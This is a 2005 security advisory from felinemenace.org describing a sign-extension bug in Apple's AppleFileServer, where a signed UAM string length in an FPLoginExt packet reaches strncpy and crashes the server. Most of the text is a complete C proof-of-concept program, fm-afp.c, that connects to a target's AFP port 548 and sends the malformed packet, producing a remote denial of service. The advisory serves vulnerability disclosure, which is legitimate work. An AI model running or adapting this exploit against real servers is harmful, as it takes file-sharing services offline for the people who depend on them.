_,'| _.-''``-...___..--';) /_ \'. __..-' , ,--...--''' <\ .`--''' ` /' `-';' ; ; ; __...--'' ___...--_..' .;.' fL (,__....----''' (,..--'' felinemenace.org Program: AppleFileServer Impact: DoS, Possible remote root. Discovered: 25th January 2005 Braden Thomas. Advisory written by: nemo -( nemo@xxxxxxxxxxxxxxxx )-, after further investigation of the bugs. Writeup and exploits: 1) Background A sign extending bug in AppleFileServer exists while parsing a FPLoginExt packet. 2) Description The sign extending bug exists when the AFP server is parsing the UAM string length from the FPLoginExt packet. The string length is read in as a signed short and then passed to the strncpy() function without a cast. This results in a length of greater than 0x7fff to be send to strncpy() as a signed int, such as 0xffff8000. When interpreted as unsigned by strncpy() this results in a massive length being used. This causes the strncpy to die with an EXC_BAD_ACCESS signal on the following instruction: 0x9000b080 <strncpy+288>: dcbz r0,r9 // Dies here. 0x9000b084 <strncpy+292>: addi r9,r9,32 0x9000b088 <strncpy+296>: bdnz+ 0x9000b080 <strncpy+288> After some investigation it can be seen that these instructions equate to the following c code from strncpy: /* NUL pad the remaining n-1 bytes */ while (--n != 0) *d++ = 0; Where 'n' is the length argument passed to strncpy and 'd' is the destination char pointer. >From research it can be seen that by providing a large number to strncpy() as the length argument, the stack will be padded with NULL bytes, until a write to the top of the stack (0xf0102000 in the case of this thread). This is what causes the EXC_BAD_ACCESS signal, and therefore causes a Denial of Service to the AFP server. 3) Notes I was unable to exploit the strncpy() bug in a way that controls execution. 4) Vendor status/notes/fixes/statements Apple have been notified about this bug. 5) Exploit Here is a little PoC to crash afp remotely. <--- fm-afp.c ---> /* [ fm-afp.c ] * -( nemo @ felinemenace.org )- 2005 * * Code for afp bug found by Braden Thomas. * * Again hello to everyone @ irc.pulltheplug.org * * need a challenge? -( http://pulltheplug.org )- */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <sys/time.h> #define UAMSIZE 1022 #define AFPVERSIZE 5 #define PATHSIZE 30 #define UASIZE 30 #define AFPNSIZE 5 #define AFPPORT 548 #define BUFSIZE sizeof(dsi)+sizeof(fploginext) //+LEN+sizeof(afpEnd) typedef struct { char AFPVER[AFPVERSIZE] ;} AFPVER_T; typedef struct { char UAM[UAMSIZE] ;} UAM_T; typedef struct { char PATH[PATHSIZE] ;} PATH_T; typedef struct { char UserAuthInfo[UASIZE];} UserAuth_t; typedef struct { char AFPName[AFPNSIZE] ;} AFPName_t; typedef struct dsi { // Data Stream Interface. u_int8_t req; u_int8_t com; u_int16_t id; u_int32_t offset; u_int32_t len; u_int32_t reserved; } DSI_T; typedef struct FPLoginExt { // Establishes a session with a server using an Open Directory domain. u_int8_t command; u_int8_t pad; u_int16_t flags; AFPVER_T AFPVER; UAM_T UAM; u_int8_t UserNameType; AFPName_t UserName; u_int8_t PathType; PATH_T Pathname; u_int8_t pad2; UserAuth_t UserAuthInfo; } FP_LoginExt_T; DSI_T dsi; FP_LoginExt_T fploginext; void banner() { printf(" [ fm-afp.c ]\n"); printf("-( nemo@xxxxxxxxxxxxxxxx )-\n\n"); } void usage(char *progname) { printf("usage: %s <ip address>.\n",progname); exit(1); } int connect_afp(char *ip,int *sockfd) { struct sockaddr_in target_addr; int len; *sockfd = socket(AF_INET, SOCK_STREAM, 0); target_addr.sin_family = AF_INET; target_addr.sin_port = htons(AFPPORT); inet_aton(ip, &(target_addr.sin_addr)); memset(&(target_addr.sin_zero), '\0', 8); if (connect(*sockfd, (struct sockaddr *)&target_addr, sizeof(struct sockaddr)) == -1) { return 1; } return 0; } void generate_packet(char *packet) { int n; dsi.req = '\x00'; dsi.com = '\x02'; dsi.id = (u_int16_t)0x0002; dsi.offset = 0x00000000; dsi.len = 0x00000434; dsi.reserved = 0x00000000; fploginext.command = (u_int8_t)'\x3f'; fploginext.pad = (u_int8_t)'\x00'; fploginext.flags = (u_int16_t)0x0000; memcpy((char *)&(fploginext.AFPVER),"\x04\x6e\x65\x6d\x6f",5); memset((char*)((&fploginext.UAM)),'\x70',sizeof(fploginext.UAM)); fploginext.UAM.UAM[0] = '\x0f'; fploginext.UAM.UAM[1] = '\xff'; fploginext.UAM.UAM[257] = '\xff'; // size of next string. fploginext.UAM.UAM[258] = '\xff'; // fploginext.UAM.UAM[500] = '\x00'; // size of next string. fploginext.UAM.UAM[501] = '\xf0'; // fploginext.UserNameType = (u_int8_t)'\x11'; memcpy((char *)&(fploginext.UserName),"\x54\x6e\x65\x6d\x6f",5); fploginext.PathType = (u_int8_t)'\xff'; memcpy((char *)&(fploginext.Pathname),"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",30); fploginext.pad2 = (u_int8_t)'\xff'; memcpy((char *)&(fploginext.UserAuthInfo),"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBB",30); memcpy(packet, &dsi, sizeof(dsi)); packet += sizeof(dsi); memcpy(packet, &fploginext, sizeof(fploginext)); } int send_packet(char *packet,int *sockfd) { if (send(*sockfd, packet, BUFSIZE, 0) == -1) { return 1; } return 0; } int main(int ac, char **av) { int sockfd; char packet[BUFSIZE]; struct timeval time; banner(); if(ac != 2) { usage(*av); } printf("[+] Connecting to target: %s.\n",av[1]); if(connect_afp(av[1],&sockfd)) { printf("[-] An error has occured connecting to the target.\n"); exit(1); } printf("[+] Generating malicious packet.\n"); generate_packet(packet); printf("[+] Sending packet to target.\n"); if(send_packet(packet,&sockfd)) { printf("[-] Error sending packet.\n"); close(sockfd); exit(1); } fd_set mySet; FD_ZERO(&mySet); FD_SET(sockfd, &mySet); time.tv_sec = 0; time.tv_usec = 50; select(sockfd+1, &mySet, NULL, NULL, &time); close(sockfd); return 0; }